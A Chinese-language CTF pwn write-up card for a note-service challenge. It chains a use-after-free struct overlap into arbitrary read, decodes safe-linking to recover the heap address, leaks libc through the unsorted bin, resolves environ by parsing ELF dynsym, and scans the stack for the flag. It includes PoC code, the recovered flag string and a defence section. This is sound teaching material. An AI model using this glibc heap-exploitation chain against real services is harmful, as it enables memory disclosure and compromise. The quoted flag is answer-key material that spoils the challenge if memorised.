UAF 重叠伪造 note 结构实现任意读:safe-linking 恢复堆地址 + 远程 ELF dynsym 解析 environ 扫栈取 flag
ctf/pwn · verified
一句话结论
note 服务在 delete 后不清 notes[idx] 指针、write_note 又不检查 off+len,于是可以把一个已释放的 struct note 重新分配给另一个 note 的 data,再用 16 字节写入伪造旧 note 的 data/size,得到任意地址读(AAR);随后用 tcache 中残留的 safe-linking 编码恢复堆地址、用 unsorted bin 泄漏 libc、远程解析 ELF 的 DT_HASH/DT_SYMTAB/DT_STRTAB 找到 environ,最后从栈上扫描 flag。
原理
- UAF 重叠:
struct note大小 0x10;create(0, 0x10)与create(2, 0x30)后,delete(0)/delete(2)把 struct 和 data 都释放;再create(1, 0x10)时,struct1与data1从 0x20 tcache 取块,data1恰好拿到旧的struct0。此时notes[0]仍悬空指向struct0,而notes[1]->data就是同一块内存。 - 伪造 note 结构:对 note1 写 16 字节
p64(addr) + p64(size),即改写notes[0]->data与notes[0]->size;R 0按伪造后的指针/长度读取,得到 AAR,单次最多 1024 字节。 - safe-linking 恢复堆地址:
R 1读到data1(旧struct0)开头残留的 tcachenext编码值。设struct0与data0连续分配,data0 = struct0 + 0x20,编码关系为encoded = (struct0 >> 12) ^ data0;枚举低 12 位并迭代固定点即可唯一恢复struct0。 - 堆布局推算:从
struct0推出后续大块 data 地址:第一个大块struct0 + 0xA0,每个 0x500 请求对应 0x510 数据块 + 0x20 结构体,间隔0x510 + 0x20。 - unsorted bin 泄漏 libc:申请多个 0x500 大块;释放 7 个填满 tcache,再释放第 8 个进 unsorted bin;
fd落在堆附近,bk指向 libc 附近(main_arena),取bk作为 libc 指针。 - 远程 ELF 符号解析:没有远程 libc 文件时,用 AAR 从 libc 指针向下扫
\x7fELF找基址;解析 ELF header 的e_phoff/e_phentsize/e_phnum,找到PT_DYNAMIC,读DT_HASH(4)、DT_STRTAB(5)、DT_SYMTAB(6)、DT_SYMENT(11),按 SysV hash 链查environ符号。 - 栈扫描:
environ指向栈上的环境变量指针数组,靠近main栈帧;flag 存在main的local_flag[256]中,从environ向下按 0x400 步长扫描 0x40000 范围,用 flag 正则命中。
触发条件
- note 服务
delete后留下悬空指针,且允许重新分配相同 size class 造成 struct/data 重叠。 write_note缺少off+len <= size边界检查,或存在等价的越界/伪造写。read_note按notes[idx]->data/size输出,且长度足够大(本题 1024)。- 目标使用 glibc tcache + safe-linking + unsorted bin;远程未提供 libc 文件,需要自行解析 ELF 符号。
- flag 位于栈上(如
main的局部数组)。
利用步骤
C 0 0x10、C 2 0x30、D 0、D 2、C 1 0x10,让data1与旧struct0重叠。R 1读取 16 字节,取 tcache safe-linking 编码的next;用encoded = (struct0>>12) ^ (struct0+0x20)枚举低 12 位迭代恢复struct0。- 定义 AAR:
set_fake_note(addr,size)写 note1 的 16 字节为p64(addr)+p64(size),R 0读size字节。 - 申请 9 个 0x500 大块,按
struct0+0xA0+(idx-3)*(0x510+0x20)推算地址;释放 7 个填 tcache,再释放第 8 个进 unsorted bin。 - 用 AAR 读 unsorted chunk 的
fd/bk,排除堆地址范围后取 libc 指针。 - 从 libc 指针向下扫
\x7fELF找 libc base;解析PT_DYNAMIC与DT_HASH/DT_SYMTAB/DT_STRTAB,用 SysV hash 查environ。 - 读
environ得到栈指针;从栈指针向下按步长扫描,正则匹配 flag。 - 若远程布局与本地不同,先打印/泄漏固定字符串判断是否 PIE,再改用不依赖程序基址的堆/allocator 路线。
PoC
# 1) UAF 重叠,伪造 notes[0] 的 data/size
create(0, 0x10); create(2, 0x30)
delete(0); delete(2)
create(1, 0x10)
encoded = u64(read_note(1, 0x10)[:8])
struct0 = recover_overlapped_struct(encoded)
def set_fake_note(addr, size=1024):
write_note(1, 0, p64(addr) + p64(size))
def leak(addr, n=0x80):
set_fake_note(addr, n)
return read_note(0, min(max(n, 1), 1024))
# 2) safe-linking 恢复
def recover_overlapped_struct(encoded_next):
candidates = set()
for low in range(0, 0x1000, 0x10):
data0 = (encoded_next & ~0xfff) | low
for _ in range(12):
data0 = encoded_next ^ ((data0 - 0x20) >> 12)
struct0 = data0 - 0x20
if struct0 > 0 and (((struct0 >> 12) ^ data0) == encoded_next):
candidates.add(struct0)
return candidates.pop()
# 3) unsorted bin 泄漏 libc
first_large_data = struct0 + 0xA0
large_data = {i: first_large_data + (i - 3) * (0x510 + 0x20) for i in range(3, 12)}
for i in range(3, 12): create(i, 0x500)
for i in range(3, 10): delete(i)
delete(10)
fd, bk = u64(leak(large_data[10], 0x10)[:8]), u64(leak(large_data[10], 0x10)[8:16])
# 4) 找 libc base + environ,扫栈
base = find_elf_base(bk)
environ_addr = resolve_dynsym_sysv(base, b"environ")
stack_ptr = u64(leak(environ_addr, 8))
for delta in range(0, 0x40000, 0x400):
chunk = leak(stack_ptr - delta, 1024)
m = re.search(rb"athena\{[^}\n\r\x00]{0,220}\}", chunk)
if m:
print(m.group(0)); break
原文远程结果为 athena{Hzq7thBYeGiwwXua};未在本机复跑。
变体与关联
- AAR 变体:伪造 note 结构、全局缓冲区指针、
FILE结构、environ指针;核心是让read按攻击者指定的地址/长度输出。 - 堆地址变体:safe-linking 编码值可由同页自异或、tcache 残留、堆布局推算恢复。
- libc 变体:有本地 libc 时直接算
environ偏移;无 libc 时可解析 ELF dynsym(如本卡)、link_map、_IO_2_1_stdout_等。 - 栈扫描变体:flag 在
main局部数组、环境变量、argv、返回地址附近;按页/按 0x400 步长扫描并用格式正则过滤。 - 关联:[[binary-pwn-heap-uaf-unsorted-bin-libc-leak]](UAF+unsorted bin)、[[binary-pwn-heap-safe-linking-self-xor-heap-address]](safe-linking 堆地址);本卡强调“UAF 重叠伪造结构 + 远程 dynsym 解析 environ + 栈扫描”的完整链。
检测与防御
delete后清空notes[idx]并置空;write_note校验off + len <= size;read_note限制长度并校验指针范围。- 启用 safe-linking、tcache key、PIE/RELRO;把敏感数据放在栈上仍需避免长时间驻留。
- 限制任意地址读:
read只允许读取 note 自己的 chunk,使用句柄而非裸指针。 - 检测:note 指针指向已释放 chunk、
write偏移/长度越界、读取地址落在 .bss/栈/libc、environ等符号被频繁读取。